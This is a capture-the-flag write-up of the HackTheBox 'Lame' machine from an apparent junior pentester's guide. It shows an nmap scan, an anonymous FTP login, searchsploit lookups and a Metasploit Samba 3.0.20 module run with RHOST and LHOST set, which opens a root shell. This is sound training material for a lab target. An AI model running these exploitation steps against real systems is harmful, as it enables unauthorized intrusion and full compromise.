> For the complete documentation index, see [llms.txt](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/tj-null-htb-oscp-machines-+-writeups/lame.md). # Lame A write-up of the lame machine from HackTheBox Folder setup and Nmap scan ``` mkdir lame && cd lame ``` ``` mkdir nmap && sudo nmap -sC -sV -oA nmap/lame 10.10.10.3 ``` Results of the Nmap scan ``` Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-20 05:51 EDT Nmap scan report for 10-10-10-3.tpgi.com.au (10.10.10.3) Host is up (0.037s latency). Not shown: 996 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4 | ftp-syst: | STAT: | FTP server status: | Connected to 10.10.14.26 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | vsFTPd 2.3.4 - secure, fast, stable |_End of status |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) | ssh-hostkey: | 1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA) |_ 2048 5656240f211ddea72bae61b1243de8f3 (RSA) 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | smb-os-discovery: | OS: Unix (Samba 3.0.20-Debian) | Computer name: lame | NetBIOS computer name: | Domain name: hackthebox.gr | FQDN: lame.hackthebox.gr |_ System time: 2023-05-20T05:51:47-04:00 |_smb2-time: Protocol negotiation failed (SMB2) |_clock-skew: mean: 1h59m29s, deviation: 2h49m45s, median: -32s | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 57.17 seconds ``` Anonymous FTP is enabled. Use 'anonymous' as the username when prompted. Simply press 'Enter' when prompted for the password without typing anything. ``` ftp 10.10.10.3 ``` Found nothing interesting. Type 'exit' to quit the ftp session. The vsftpd version is vulnerable as can be seen from a searchsploit search

Showing available Metasploit exploits for this vsftpd version.

I tried the Metasploit exploit for this vsftpd version, but it failed. I moved on and performed a Searchsploit search for the Samba version running on the machine ``` search exploit samba 3.0.20 ```

Selecting the exploit and changing the necessary settings within the module ``` use 0 ``` ``` set RHOST 10.10.10.3 ``` ``` set LHOST ``` ``` run ``` Root shell opened. Type "shell" to make it an interactive shell